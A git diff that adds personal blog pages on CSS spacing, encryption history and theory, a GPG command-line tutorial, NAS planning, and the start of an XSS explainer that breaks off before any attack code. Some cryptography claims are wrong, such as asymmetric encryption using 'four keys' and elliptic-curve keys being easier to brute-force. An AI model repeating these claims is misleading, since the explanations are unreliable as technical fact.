diff --git a/2020/01/22/padding-and-margin/index.html b/2020/01/22/padding-and-margin/index.html new file mode 100644 index 0000000..828e456 --- /dev/null +++ b/2020/01/22/padding-and-margin/index.html @@ -0,0 +1,96 @@ + + + + + Padding And Margin | tait.tech + + + + + + + +
+
+

tait.tech

+ + + +
+
+
+
+

Padding And Margin

+ +
+
+ +

Many people have expressed confusion over how padding and margins work in HTML/CSS. I have been one of those people. In this short article I will explain what the differences are between the two, and how it may affect the functionality of your site.

+ +

Here is an image from the World Wide Web Consortium (W3C) who sets the standards for the web.

+ +

The W3C standard for padding, margin, borders and width. Width encompases the inner element + padding; the border then encompases it. The margin is the space beyond the border and in between other elements.

+ +

Now although this image shows all the different types of spacing as equal, the majority of the time these will mostly be padding (inner) and margin (outer). Padding is the inner space between the element and its border; margin is the outer space between two different elements.

+ +

Within the margin the user is unable to press any links or execute any javascript code. It is empty space. If each <link> on your navigation bar has 10 pixels of margin, then there would be 20 pixels in between each <link> that would not be clickable by the user.

+ +

If you have <link>s on your navigation bar with padding set to 20 pixels, however, then there will be 20 pixels on each side of the <link> text where the user is able to click.

+ +

If that part is confusing, try thinking about it in terms of whether background-color would apply.

+ + + + + + + + + + + + + + + + + + + + + +
AttributePaddingMargin
Spacingwithin elementbetween elements
background-color appliesYesNo
+ +

In summary:

+
    +
  • Padding: the space within a tag which is still part of the same tag. background-color applies.
  • +
  • Margin: the space in between two seperate tags. background-color does not apply; it is empty space.
  • +
  • Border: the space in between the two; it surrounds the padding, but is not the margin. It looks nice somtimes, but it has no non-visual function. background-color does not apply.
  • +
+ +

I hope this covers the basics of margin and padding! Happy coding!

+ + +
+ +
+
+ +
+ + diff --git a/2020/01/26/rsa1/index.html b/2020/01/26/rsa1/index.html new file mode 100644 index 0000000..ac87d5f --- /dev/null +++ b/2020/01/26/rsa1/index.html @@ -0,0 +1,102 @@ + + + + + Is Encryption Worth It? | tait.tech + + + + + + + +
+
+

tait.tech

+ + + +
+
+
+
+

Is Encryption Worth It?

+ +
+
+ +

What is the most embarassing thing you have typed into Google search? What is the most personal secret you told a friend in confidence? What is your bank password? What is your business’s secret to stay ahead of the competition?

+ +

Now at first these questions may seem not completely related. There is a point though: You likely sent all of this information over the internet.

+ +

When you send that messege to your friend or business partner, why is it that any person can’t just listen to the signals coming from your phone or laptop and know what you sent to your friend or colleague? The answer: encryption.

+ +

First, some background about internet privacy. You can’t have a conversation about internet encryption and privacy without discussing the man himself:

+ +

Snowden

+ +

Edward Joseph Snowden is an ex-NSA, ex-CIA employee who felt the United State’s 4th Ammendment was being violated by their programs of msas survailence. +Snowden was raised a staunch establishmentarian conservative; his girlfriend Lisndey however, slowly started changing his mind. Snowden became very influenced by the ideology of populism. +His populist thinking is shown very clearly when he explains his reasoning for his disclosure of humongous troves of NSA documents.

+ +
+

“My sole motive is to inform the public as to that which is done in their name and that which is done against them.” +—Edward Snowden

+
+ +

Snowden’s first set of leaks went public in The Gaurdian, The New York Times, and ProPublica in late 2013; +people started to realize that their governments and internet service providers (ISPs) are listening. People understood there might be more sinister motives than “national security” at play.

+ +

Personally, I have seen a lot of non-tech-savy individuals using security-conscious software when I am helping them fix a problem. +In fact, there was one time I saw a collage student from rural Alberta who had a VPN running on her phone. This impressed me!

+ +

Encryption on The Web

+ +

The type of encryption used on the web is called: HyperText Transfer Protocol–Secure (HTTPS). +This kind of encryption stops two things from happening: A) it stops the information you are sending and recieving online from being seen by easvesdroppers and criminals, and B) stops those same third-parties from tampering with the data.

+ +

Without HTTPS it is possible for sombody to listen in and change the data being sent between you and a server.

+ +

Only in recent years has HTTPS become near-universal across the web. It is used even on the simplest sites these days: this one included. After 2013, people became weary of government, criminal, and ISP interference with their web traffic. +This can be backed up by statistics: +The level of encrypted web traffic around the time of the Snowden leaks was around 30 percent. It was mostly used by banks, email providers, government, and journalists. +At the turn of the 2020s however, this has risen to nearly 90 percent among U.S. users of Firefox. +Japan lags slightly behind with 80 percent encrypted traffic.

+ +
+ Use of encrypted web traffic incresing over time. +
+ More at: Let's Encrypt +
+
+ +

This is just the data we know of. You can disable the telemetry settings in Firefox, and it is very likely that hardcore privacy advocates would disable this data collection, so perhaps the amount of encrypted web traffic is slightly higher.

+ +

What about RSA?

+ +

RSA is an encryption method named after the initials of the inventors’ sir names: Ron Rivest, Adi Shamir, and Leonard Adleman. It uses the mathematical “factoring problem” to secure communication. The details of this specific type of encryption will be discussed in an article soon to come.

+ + +
+ +
+
+ +
+ + diff --git a/2020/02/19/rsa2/index.html b/2020/02/19/rsa2/index.html new file mode 100644 index 0000000..9e9b948 --- /dev/null +++ b/2020/02/19/rsa2/index.html @@ -0,0 +1,194 @@ + + + + + How Does Encryption Work, in Theory? | tait.tech + + + + + + + +
+
+

tait.tech

+ + + +
+
+
+
+

How Does Encryption Work, in Theory?

+ +
+
+ +

There are many kinds of encryption used in our everyday communication. Online and offline, over the internet and in person. In this article, I will explain the basics of how encryption should work in theory. I explain in this article why encryption is important, and why you should care about it.

+ +

We will start by looking at in-person, offline encryption.

+ +

Cryptography We Do Everyday

+

We encrypt things all the time without even thinking about it. +If you spend a significant amount of time with the same group of friends, you will tend to develop common codes that may not make sense to others outside the group. +For example: for years, my family called sombody falling from a sitting position “doing a Don”. There is a story of course—We knew a guy named Don who fell from his plastic beach chair in a rather hilarious way; “doing a Don” was born.

+ +

These types of minor dialects in speech are cryptographic in their own way. The truth is though, that we use cryptography much more than that!

+ +
+

“Is cryptography any different than talking? +We say something other than what we mean, and then expect everyone is able to decipher the true meaning behind the words. +Only, I never do…” — Adapted from a scene in The Imitation Game (p. 39-40)

+
+ +

How many times have you hinted, flirted, and innuendoed to try to say “I find you very physically attractive”? +Have you told your friend that always stinks to wear more deodorant? +Have you ever had someone say the words “I’m fine” when you know for certain that they are indeed not okay?

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Words SaidMeaning
What can you do?I don’t want to talk about this anymore.
I don’t want to overstay my welcome.I want to go home now.
I don’t like them and don’t know why.They threaten my ego.
CreepyUnattractive and friendly
+ +

All of these scenarios are perfect examples of lies encryption! If we have the key to these codes, we can start to understand what people really mean. +Hopefully I have convinced you that you use deceit cryptography on a regular basis in your life, so let us consider what a basic encryption method might be:

+ +

Grade-School Encryption

+

Back when I was in middle school I used to pass notes like these:

+ +
+ A message I would have sent in middle school. ROT5: Xfwfm hx hzy +
+ The kind of message I would have sent in middle school. A ROT5 Ceasar cipher. +
+
+

This is a message encrypted using the Caesar cipher. This encryption technique was used by Julius Caesar during the reign of the Roman Empire to “encrypt messages of military significance.”[1] +This is one of the oldest and simplest methods of encryption known to us today.

+ +
+ A diagram of a Ceasar Shift algorithm. A <-> N, B <-> O, et cetera. +
+ A diagram of a ROT13 Ceasar shift algorithm. A <-> N, B <-> O, et cetera. +
+
+ +

You can try this out yourself by moving some letters forward in the alphabet. +An ‘A’ turns into a ‘B’, ‘B’ into ‘C’, ‘C’ into ‘D’, et cetera. +In this case, “Hello!” would become “Ifmmp!” +That is just using a shift of one. You can use a shift of seven, for example, and then you would shift letters like so:

+ +
    +
  • A -> +7 -> H
  • +
  • Q -> +7 -> X
  • +
  • T -> +7 -> A
  • +
+ +

When you reach the end of the alphabet, wrap around to the beginning to find the encrypted letter.

+ +

Example of a Caesar Cipher

+

Let’s setup a little story to illustrate the problems of encryption. We will have three characters:

+ +
    +
  • Alice, young lady with feelings for Bob
  • +
  • Bob, a young lad with an addiction to pancakes
  • +
  • Eve, a wee jealous girl scout who sits between Bob and Alice
  • +
+ +

Alice really likes Bob and wants to tell Bob her feelings, so she writes “I love you, Bob! Please eat healthier!” on a sticky note. +She passes it to Eve, so Eve can pass it to Alice’s love interest. +However, in an unfortunate turn of events Eve reads the note herself, and decides not to give it to Bob.

+ +

Oh the horror! Alice is without young love! How could she remedy this so that Bob can read her message, but evil Eve can not? +Let’s use the Caesar cipher to fix this problem.

+ +

Let us assume that Alice and Bob already have a shared key, 7 for example. To encrypt this message, she should shift her letters seven letters forward in the alphabet—just like the example above.

+ +
+A longer Ceasar cipher encrypted message: ROT2: Wpeng Vgf ku dqqogt ogog] +
+ A longer Ceasar cipher encrypted message using ROT2. +
+
+ +

Now Alice’s message reads “P svcl fvb, Ivi! Wslhzl lha olhsaoply!”

+ +

Now, when Alice sends her Romeo a little note, all he has to do is decrypt the text by shifting the letters down by 7. +Here is a site which can do longer pieces of text for you instead of doing it manually.

+ +

Problems

+ +

Before the two love-birds start smooching on the branch of a big pine tree in the schoolyard, perhaps we should consider some problems with the Ceasar cipher.

+ +

It is Very Easy to Break

+ +

Even Eve with her measly grade 4 math skills could easily start going through this message with pen and paper and figure out any combination in a couple hours at maximum. +Imagine how easy this is for a computer? +This could be broken in a few microseconds even on an older processor like the Intel Core 2 Duo.

+ +

No Secure Way of Sharing Keys

+ +

We assumed in our previous example that Bob and Alice already have a shared key (seven) to encrypt and decrypt all of their messages. +If Bob and Alice did not have a previous friendship and time to share secrets of this sort, there is no way to share their key with eachother without Eve also knowing. +This would defeat the entire purpose of obscuring the message in the first place.

+ +

Universal Vulnerability of Messages

+ +

Every message sent between the two parties uses the same code to encrypt and decrypt. If someone finds out the code once, all previous communications are comprimised.

+ +

Better Encryption Methods

+ +

To combat the issues with easily breakable, shared-key cryptography, we can turn to the beautiful beast that is Asymetric Cryptography. +I will discuss this more in another article, but for the technically inclined:

+ +
    +
  1. RSA/EC provides very large cryptographic keys. It would be impossible for a human to encrypt or decrypt a message manually.
  2. +
  3. Asymetric cryptography provides four keys, instead of just one; stopping evesdroppers from listening in on your secret conversations—even if you do not have the chance to exchange keys in advance.
  4. +
+ + +
+ +
+
+ +
+ + diff --git a/2020/04/02/rsa3/index.html b/2020/04/02/rsa3/index.html new file mode 100644 index 0000000..c2a341e --- /dev/null +++ b/2020/04/02/rsa3/index.html @@ -0,0 +1,193 @@ + + + + + How Asymetric Encryption Works | tait.tech + + + + + + + +
+
+

tait.tech

+ + + +
+
+
+
+

How Asymetric Encryption Works

+ +
+
+ +

In a few previous articles I have explained why encryption may be important to you and how the theory behind encryption works. I did not yet explain the system of asymetric cryptography, however. That is what this article is for.

+ +

Previously, we talked about how symetric encryption works. This is by having a shared key that both parties use to simultaniously encrypt, and decrypt the data. (See Ceasar Cipher for example).

+ +

Public-key, or Asymetric Encryption

+ +

Asymetric encryption is based on the idea of having multiple keys instead of only one shared key. +For example: instead of encrypting with one key, and decrypting with that same key (like our ROT ciphers we talked about previously), we can use one key to encrypt the information, and a different key to decrypt the information.

+ +
+ Alice sending her message to Bob using Bob's public key. Bob decrypts the message with his private key. +
+ Alice sending her message to Bob using Bob's public key. Bob decrypts the message with his private key. +
+
+ +

In the picture above, see how Alice uses Bob’s public key to encrypt some data, +then sends it to Bob for him to decrypt with his private key? +That is the essense of public-key encryption.

+ +

The great thing about public-key encryption is that your public key is public! There is no need to be afraid of sending this everywhere! +You can attach it at the end of all your emails, the end of your forum posts, a link to it on your low-power webserver (wink). +There are even things called keyservers that will save your public key on them for retrival in case somebody wants to verify your public key.

+ +

Anything encrypted with your public key can only be decrypted with your private key. +Provided you never, NEVER share your private key with anyone ever, we can assume that all messages sent to you encrypted with your public key will never be read by anyone else.

+ +

Asymetric encryption, however, often contains four keys instead of two. Why is this?

+ +

Verification of Author

+ +

One interesting thing about keys pairs is that not only can the private key decrypt anything the public key encrypts, +but the public key can decrypt anything the private key encrypts.

+ +

Now why would one want to encrypt a message that can be decrypted by anyone?

+ +
+ Alice sending a message to bob which is 'signed' with her private key. This allows Bob to know only Alice could have sent it! +
+ Alice sending a message to bob which is 'signed' with her private key. This allows Bob to know only Alice could have sent it! +
+
+ Note: Although the picture shows otherwise, the text is not sent in the plain. It is encrypted with Alice's private key. +
+
+ +

This is how you can verify that the person who says they wrote the message really did indeed write the message! +If their private key was never shared with anyone else, then the message must have come from them!

+ +

For maximum security, these methods are often layered. +First, signing with the sender’s private key, +ensuring only they could have sent it— +then encrypted with the recipient’s pulbic key, +making sure only the reciever can read it.

+ +

Note that both sides must first have eachother’s public keys to do this. +This is easy if they communicate often, but when first contacting somebody, +people will generally send their encrypted message along with the their own pulbic key attached in a seperate file.

+ +

What This Means

+ +

Notice neither Alice nor Bob had to share any comprimsing information over the network? +This is why public-key encryption is so powerful!

+ +

Alice and Bob can both safely send their public keys in the open. +They can even send them over the insecure HTTP, or FTP protocols.

+ +

Whilst not sending any encryption-breaking messages, +Alice and Bob now have a way to communicate securely. +If you trust nothing and no one, this is your perfered method of security.

+ +

Check out this Computerphile video if you want the simplified explaination.

+ +

The Algorithms

+ +

The two biggest “implementations” of public-key cryptography vary only in the mathamatical equations used to generate the numbers, +and how the numbers are “trapdoored” to decrypt if you have the correct key.

+ +

I will discuss the differences in approach here. +If you want to skip to the next article where I show you how to encrypt your own documents using RSA, see this link.

+ +

RSA

+ +

The mathamatic center of the RSA system was developed over the course of a year or so. +Three men were involved. Ron Rivest, Adi Shamir, and Leonard Aldeman. +They worked as a kind of “team”: Each idea by Rivest and Shamir were critisized by the mathamatician on their team: Mr. Aldeman.

+ +

One night, after consuming +“liberal quantities of Manischewitz wine” +Rivest had trouble sleeping. +After taking long gazes into the abyss of his math textbook, he came up with an idea which would change cryptography forever. +By the next morning, an academic mathamatical paper was nearly finished. +He named it after himself and the two others that had been helping him along this whole time. Rivest, Shamir, Aldeman.

+ +

Key sizes of RSA range from 1024-bit to 4096-bit. +1024-bit keys are considered somewhat insecure. +However, +it should be noted that every bit doubles the complexity of the key, +so 2048 is 2^1024 times more complex than 1024.

+ +

Eliptic-Curve (EC)

+ +

Eliptic-Curve (EC) is a family of algorithms that use the Eliptic curve mathamatical structure to generate the numbers for the keys. +EC can effectivly provide the security of an RSA key one order of magnitude larger than an RSA key.

+ +
+ A picture of an eliptic curve. +
+ An eliptic curve structure. +
+
+ +

It’s fast; it’s secure! Perfect right?

+ +

Of course not!

+ +

One problem is that due to the smaller key size, +it can more easily be broken by brute-force. +This is why EC is mostly used for temporary communication (like HTTPS), not permenant communication (like having an encrypted email conversation with a journalist).

+ +

The other problem is that a certain EC algrorithm called P-256 is suspected to be introduced with malice to National Institute of Standards and Technology (NIST) +by the NSA. +Supposedly, the NSA is able to crack anything encrypted with this algorithm. +I will let the experts argure about that.

+ +

Other well-known EC algorithms that are more-or-less trusted as secure do exist though. +The premeire one being Curve25519. +The reference implementation of this algrorithm is also public-domain, +so it is easy for devlopers to work into their own applications without worrying about copywrite.

+ +

Conslusion

+ +

In this article we went over some basic points:

+ +
    +
  1. Public-key encryption enables secure communication over insecure networks.
  2. +
  3. RSA is considered the standard for extra-seure communication.
  4. +
  5. EC is a newer, faster, more transient encryption method.
  6. +
+ +

To learn how to use RSA keys to encrypt your own communications, check out this other aritcle I wrote.

+ + +
+ +
+
+ +
+ + diff --git a/2020/04/06/rsa4/index.html b/2020/04/06/rsa4/index.html new file mode 100644 index 0000000..3cd3113 --- /dev/null +++ b/2020/04/06/rsa4/index.html @@ -0,0 +1,392 @@ + + + + + How To Encrypt Your Own Documents Using gpg | tait.tech + + + + + + + +
+
+

tait.tech

+ + + +
+
+
+
+

How To Encrypt Your Own Documents Using gpg

+ +
+
+ +

If you have ever wanted to garuntee the utmost security of your emails and documents, then this is the guide for you! +It should be noted that in some circles the tools used are more common than in others. +These are the everyday tools of many privacy advocates and computer nerds.

+ +

If you have never used Linux however, then the method of doing this will be rather unfamiliar. +This tutorial will be done on an Arch Linux machine, +but it should be the same on Ubuntu, Fedora, CentOS, Debian, +OpenBSD, FreeBSD, MacOSX, etc. +The only operating system that does not include these tools by default (or easily accessible) is Windows.

+ +

This tutorial makes heavy use of the terminal. +You have been warned.

+ +

Let us…begin!

+ +

Glossary

+ +
    +
  • ASCII armour — A way to encode OpenPGP documents so they are readable by humans. These files end in .asc
  • +
  • (Open)PGP — An open standard for encoding pulbic keys and encrypted documents.
  • +
  • GPG — GNUPrivacyGaurd is an implementation of OpenPGP. It is installed by default on most Linux distrobutions.
  • +
+ +

Step 0: Setup

+ +

We will be using the utility gpg for this tutorial.

+ +

The other thing to note: The character ‘$’ (dollar sign) is usually not typed when shown in a command. +It simply indicates that you do not need administrative privilages to run these commands.

+ +

Test to see if you get this output in your terminal.

+ +
+$ gpg --version
+
+gpg (GnuPG) 2.2.20
+libgcrypt 1.8.5
+Copyright (C) 2020 Free Software Foundation, Inc.
+License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>
+
+...
+
+ +

If this is not successful look into how to install these tools on your system.

+ +

Step 1: Get/Create A Public Key!

+ +

Get Somebody Else’s

+

Step one is having somebody to send your encrypted message to. Maybe this is a friend, a journalist, or a whistleblower.

+ +

To encrypt a document with somebody’s public key, you need to first obtain it. +My public key is available at this link, and you can use it to send me encrypted stuff.

+ +

If you are on a linux terminal, you can use the curl or wget command to download it.

+ +

wget:

+
+$ wget https://tait.tech/public-key.asc
+
+ +

Curl:

+
+$ curl https://tait.tech/public-key.asc -o public-key.asc
+
+ +

Make Your Own (optional)

+ +

The following section is quite long, +so if you don’t want to create your own keypair, +then feel free to skip to Step #2.

+ +

If you want to encrypt your own documents, +or you want others to be able to send you encrypted messages, +then you can create your own public/private key pair. +You can use these to encrypt your documents, +and you can send our public key to others so that they can securely communicate with yourself.

+ +

Run the following command in your terminal, and follow the steps I outline to get you started.

+ +
+$ gpg --full-gen-key
+
+ +

This will produce the following dialog:

+ +
+gpg (GnuPG) 2.2.20; Copyright (C) 2020 Free Software Foundation, Inc.
+This is free software: you are free to change and redistribute it.
+There is NO WARRANTY, to the extent permitted by law.
+
+Please select what kind of key you want:
+  (1) RSA and RSA (default)
+  (2) DSA and Elgamal
+  (3) DSA (sign only)
+  (4) RSA (sign only)
+  (14) Existing key from card
+Your selection? 
+
+ +

Select the option 1. You want two keys, both RSA.

+ +

Next we will select the key size:

+
+RSA keys may be between 1024 and 4096 bits long.
+What keysize do you want? (2048) 
+
+ +

Type the number 2048.

+ +

Next it will ask you how long you want the key to be valid.

+ +
+Requested keysize is 2048 bits
+Please specify how long the key should be valid.
+          0 = key does not expire
+       <n>  = key expires in n days
+       <n>w = key expires in n weeks
+       <n>m = key expires in n months
+       <n>y = key expires in n years
+Key is valid for? (0)
+
+ +

Type the number 1. This will enable you time to test it, +but it will make the key expire within 24 hours so that if you accidentally +share your private key, or delete your VM and no longer have access to it, you will be fine.

+ +

It will ask your if you are sure about the expiry date.

+ +
+Key expires at Tue Apr  7 02:24:23 2020 UTC
+Is this correct? (y/N) 
+
+ +

Type y to confirm your choice.

+ +

Now gpg is going to ask you to create a user id to indetify this key. +Use some test data for now. +User input is in bold, feel free to follow along or to put your own test data in.

+ +

Once you are more comfortable with the tools, +then you can create a public/private keypair that you will keep for some time.

+ +
+GnuPG needs to construct a user ID to identify your key.
+
+Real name: Mr. Tester
+Email address: test@test.org
+Comment: for testing only
+You selected this USER-ID:
+    "Mr. Tester (for testing only) <test@test.org>"
+
+Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? O
+
+ +

It will then ask you for a password. +If you are simply using this for test purposes, +then you can feel free to set it to something like “test”. +When create a long-term use pulbic key make sure to make the password very secure.

+ +

During the process of creating your key, gpg may warn you with this message:

+ +
+We need to generate a lot of random bytes. It is a good idea to perform
+some other action (type on the keyboard, move the mouse, utilize the
+disks) during the prime generation; this gives the random number
+generator a better chance to gain enough entropy.
+
+ +

If this happens, feel free to smash your keyboard (lightly), +watch a YouTube video on the machine, +browse the web with w3m, +etc. until the key is generated.

+ +

You will know it is done when you see this message (or something similar):

+ +
+gpg: key EACCC490291EA7CE marked as ultimately trusted
+gpg: revocation certificate stored as '/home/tait/.config/gnupg/openpgp-revocs.d/FFA7D7525C6546983F1152D8EACCC490291EA7CE.rev'
+public and secret key created and signed.
+
+pub   rsa2048 2020-04-06 [SC] [expires: 2020-04-07]
+      FFA7D7525C6546983F1152D8EACCC490291EA7CE
+      uid                      Mr. Tester (for testing only) <test@test.org>
+      sub   rsa2048 2020-04-06 [E] [expires: 2020-04-07]
+
+ +

Tada! You have your own public/private keypair!

+ +

Sharing a keypair that will expire soon is not a good idea, +however, if you are ready, then you can use this command to generate a public key file to share with others.

+ +

Feel free to substitute “Mr. Tester” for any other identifying part of your key. +Remember that to use the email, you must enclose it in < and >.

+ +
+$ gpg --export --armour "Mr. Tester" > public-key.asc
+
+ +

To use the email as the identifier:

+
+$ gpg --export --armour "<test@test.org>" > public-key.asc
+
+ +

Step 2: Import Public Key

+ +

This list of keys that gpg keeps on tap so to speak, is called our “keyring”. +Your will need to import a new public key to encrypt files with gpg.

+ +

If you already created your own public key, then this step is not necessary unless you want to also encrypt something for me :)

+ +
+ A keyring holding eight allen keys. +
+ A keyring holding eight allen keys. +
+
+ +

To import a public key to use for encrypting files, use the --import option of gpg. Like so:

+ +
+$ gpg --import public-key.asc
+gpg: key 64FB4E386953BEAD: public key "Tait Hoyem <tait.hoyem@protonmail.com>" imported
+gpg: Total number processed: 1
+gpg:               imported: 1
+
+ +

Now that we have imported a public key, we can make a message to send!

+ +

Step 3: Have A Message To Encrypt

+ +

You can make a new file which holds some important, secret data. +Feel free to use a graphical editor if you have one, if not, nano works alright too.

+ +
+  Rules Of A Good Life:
+
+  1. Wash your hands!
+  2. Work hard!
+  3. Be firm.
+  5. Have good friends!
+
+ +

Save this file as something like test-pgp.txt, and we’ll use that name later.

+ +

Step 4: Encrypt A Message

+ +

Now that we have a message to send and person to send to, +all we have to do is encrypt this message and it’ll be on its merry way! +To do so, we must specify two new options to gpg.

+ +

The first is --recipient. +This tells gpg to encrypt using a certin public key that we have in our keyring. +You can use the person’s name, email address, or the key’s uid.

+ +

The second is --encrypt.

+ +

You will also specify the --armour option to use ASCII armoured files. Put this option after --encrypt, and put the file name after --armour. See below.

+ +

You can either use your own public key name to encrypt a document (allowng only you to decrypt it), +or you can use my public key that we imported earlier (allowing only me to decrypt it). +Either way works fine.

+ +

This is the big one!

+ +
+$ gpg --recipient "Tait Hoyem" --encrypt --armour test-gpg.txt
+
+ +

“But there is no output!” you might say! +Yes, that is because our new (encrypted) file has already been saved. +Let’s look at it with cat.

+ +
+$ cat test-gpg.txt.asc
+-----BEGIN PGP MESSAGE-----
+
+hQIMA2mJuYb8vkIlAQ/9FDmXJgW2vI7p9sznKvHhQk7uTZvoWC3hCeqHoO3BSElP
+XR1BNAkJ+bykB30M+9u+XDyRtTwazjvNPmYfQnIh0Q+BQZigDWbEd1R47jbzm7Tu
+0eZKKapgEidfecULtaECX1sR3qPt1m9oZjyUR1rzNd8tezZlCu2pjdNZrkta2Bdm
+Hh1xDS43Bw7PMQqraJsHwqr0M1GLDbMzPes2ZU5y4jEmXZ0PZdJ7kgjR8dvhLBfi
+MU+4kYnnemQEztXBOjKidhyOntKiLjenvD00tVHrOuQoWuWCHGiqR24qSwVjeb9G
+079gqH1VWi3fk2cwFA9f3TLvJqUwatyE0Hcba0U1d2Voz/C9JEQjT6FHuaCqQL6b
+p7B7m2DwpywFGJpAn6ksrEYqHaLVWiEGmdMmHYuHxMw8+cqoSwbYymCZTwMBAuJe
+Pr1VO9uNo+Vj5r8IX7ACcSsrjf0XkVzfX6ySsPbyOlGXnwzWSOM3Dk2Z9MqDORbj
+0/7vJTnDctPuc91Rlp3YnJlZKWMcNfPMKMtvpljd2XuVwub+C4vGWXa9XLbRXmJo
+cnEFT6SB11AKjytE2Urt62CCrYjJPBneabxbCztnBs+vQSx7Fj0LK6v4Euik/Xm/
+9aKmZZW8306c9Zwgpp9glWjLMCDNxJRGdKRjZsnkt9hOEYsP1irTegystK6u4eHS
+mwHX931ENOJsnPfQZCZ9b41Q9doZQ/N/WHstQO8MtA3HIN1sW3wYkGzOLKj4gJfm
+bqR/TzQmXyLT1xZa+/yTscaV0P4OlI4vcii/k4DgeSeQVWp9o9DbZFxSCsdYVvPu
+jaDMzZnIKoax1GFz/coUAHFQub2rLzaQ5DDbvrkX++UrAjuUtRcSFH0TKhahZmCF
+nv117moLfK22Mst/
+=bw8T
+-----END PGP MESSAGE-----
+
+ +

Step 5: Decryption (optional)

+ +

If you created your own public/private keypair in step 1, +and you encryped using --recipient "Your Test Name", +then you can decrypt your document as well!

+ +

You will need to specify --decrypt, and that’s all folks!

+ +
+$ gpg --decrypt test-gpg.txt.asc
+
+ +

A password dialog will then come up asking for your previously created password. +As long as you remember your password from before and enter it correctly: voila!

+ +
+gpg: encrypted with 4096-bit RSA key, ID 6989B986FCBE4225, created 2020-01-02
+      "Tait Hoyem <tait.hoyem@protonmail.com>"
+Rules Of A Good Life:
+
+1. Wash your hands!
+2. Work hard!
+3. Be firm.
+5. Have good friends!
+
+ +

Step 6: Finale!

+ +

Ladies and gentleman, you have done it! +You have encrypted our very own document. +(And maybe even decrypted it yourself too :)

+ +

If you encrypted using my public key, +feel free to send it to my email. +I am happy to verify if it worked.

+ +

For more information on this subject, check out gnugp.org’s guide on using GPG. +They are the ones that make these tools available, +and the GNU Project has been instrumental in creating the open-source world as it exists today. +Give ‘em some love, eh!

+ +

Thank you so much for sticking through this whole thing! +Let me know if there is anything that doesn’t make sense. +I am happy to improve this guide as time goes on if that is necessary.

+ +

Happy hacking :)

+ +
+ +
+
+ +
+ + diff --git a/2020/04/12/nas1/index.html b/2020/04/12/nas1/index.html new file mode 100644 index 0000000..086804c --- /dev/null +++ b/2020/04/12/nas1/index.html @@ -0,0 +1,102 @@ + + + + + NAS Part 1: Theorize | tait.tech + + + + + + + +
+
+

tait.tech

+ + + +
+
+
+
+

NAS Part 1: Theorize

+ +
+
+ +

New Project, phase one: +Theorize.

+ +

I want to build a NAS server to store a bunch of data on. Current problem is lack of a computer to accept multiple SATA connections.

+ +

Problem 1: SATA connectors

+ +

This can be solved by an HBE card. Although they tend to be quite expensive (250+). +One decent model that isn’t that much is the LSI 9211-8I. +This is ideal for future expansion.

+ +

A cheaper option is a PCIe multi-SATA connector like this.

+ +

Either work, but one is cheaper and the other is more expandable. +The 9211-8I uses two SAS ports, which can be expanded indefinetely. SAS supports splitting. +SATA can be connected in a 4:1 ratio to SAS connectors with some cheap cables.

+ +

Problem 2: Drives

+

I do not have enough drives to make this work right now. +For the setup I want it would require 5 or 6 drives. +I will get 4-5 drives worth of space as one drive worth of space is dedicated to “parity”, making you able to:

+ +
    +
  1. Verify data integrity. If anything goes wrong with a write, it will be fixed automatically.
  2. +
  3. If one drive dies, the system can stay online with no problem. Two drives and I’m eff-you-see-kay-ed-dee.
  4. +
+ +

My other option is to use two drives worth of space for partiy. +This would only have me 3-4 drives of space, but +this system can withstand the failure of two drives.

+ +

Problem 3: Computer System

+ +

I currently have 5 computers.

+ +
    +
  1. Celery Stick. An old grey HP laptop with a Braille stickered keyboard. Does not work right now; bad thermal paste job.
  2. +
  3. A Dell laptop lent to me by my school during my studies.
  4. +
  5. Houston. A 21-inch 2011 iMac for which the screen does not work under Linux (excep with the nomodeset kernel option enabled).
  6. +
  7. An Old Toshiba laptop (circa 2010) that I got for $50 to test with OpenBSD (works….sometimes).
  8. +
  9. Main Rig. My main laptop is an ASUS-705 TUF gaming laptop.
  10. +
+ +

None of these have PCIe expansion slots with a case that can handle the new drives.

+ +

I think it’s reasonable to say that for hard-drives and low-end tower PCs, +I will likely have luck on a place like Kijiji (Canadian Craigslist).

+ +

The search continues :)

+ +

I’m in for a fun ride…. and a few monnies.

+ +
+ +
+
+ +
+ + diff --git a/2020/04/21/rfi/index.html b/2020/04/21/rfi/index.html new file mode 100644 index 0000000..27cff95 --- /dev/null +++ b/2020/04/21/rfi/index.html @@ -0,0 +1,68 @@ + + + + + rfi: A Simple Linux utility to get a random file from a directory | tait.tech + + + + + + + +
+
+

tait.tech

+ + + +
+
+
+
+

rfi: A Simple Linux utility to get a random file from a directory

+ +
+
+ +

I made a little video about this script I wrote:

+ +
+$ rfi
+
+ +

This program gets a random file from your current directory +if you do not specify one; +it gets a random file from the specified directory if you give it one like so:

+ +
+# rfi /etc/wireguard
+
+ +

Which is very useful if you want to start a random VPN configuration :)

+ +

The code, comments, etc. are on the Github.

+ +
+ +
+
+ +
+ + diff --git a/2020/04/25/xss/index.html b/2020/04/25/xss/index.html new file mode 100644 index 0000000..c756408 --- /dev/null +++ b/2020/04/25/xss/index.html @@ -0,0 +1,147 @@ + + + + + What is XSS? | tait.tech + + + + + + + +
+
+

tait.tech

+ + + +
+
+
+
+

What is XSS?

+ +
+
+ +

I found a cross-site scripting (XSS) attack +in a well-known quiz hosting website. +I disclosed the vulnerability to them years ago, so I thought +now might be a good time to write about it.

+ +

In this first article I will explain what XSS is.

+ +

In the next article I will explain how I found this attack.

+ +

What is cross-site scripting (XSS)

+ +

Cross-site scripting, XSS for short, +is a technique to execute arbitrary Javascript code on a user visiting a website +by linking to Javascript code stored on another server.

+ +

So for example:

+ +

I have a file on my website called hacked.js. +If I was able to run this javascript file on anybody visiting a certain website that is not mine, this would be called cross-site scripting.

+ +

Click the above hacked.js link to view the code I use to “hack” this website. +It’s safe, I promise ;)

+ +

Now, how can we get this code to execute when a user visits this site? +To explain, I will start with some of the underlying technologies.

+ +

Escape Characters!

+ +

No, this is not a Sherlock Holmes novel!

+ +

If we suppose that a website is built with sequences like these (called “tags”): +<body>, <p> (for paragraph), <link> and <b> for bold, +then why can you see the left and right angle bracket characters? +Don’t they mean something? Shouldn’t they be telling the browser: +“Hey! Make me bold!”? +Why doesn’t everything after me typing <b> turn bold?

+ +

The answer is:

+ +

There are special characters in HTML to type a visible left (<) +and visible right angle bracket (>) in a website. +If I use the left and right brackets on my keyboard however, +things will indeed show up bold.

+ +

This is the code for the sentence I wrote above:

+
+There are special characters in HTML to type a visible left (&lt;)
+and visible right angle bracket (&gt;) in a website.
+If I use the left and right brackets on my keyboard however,
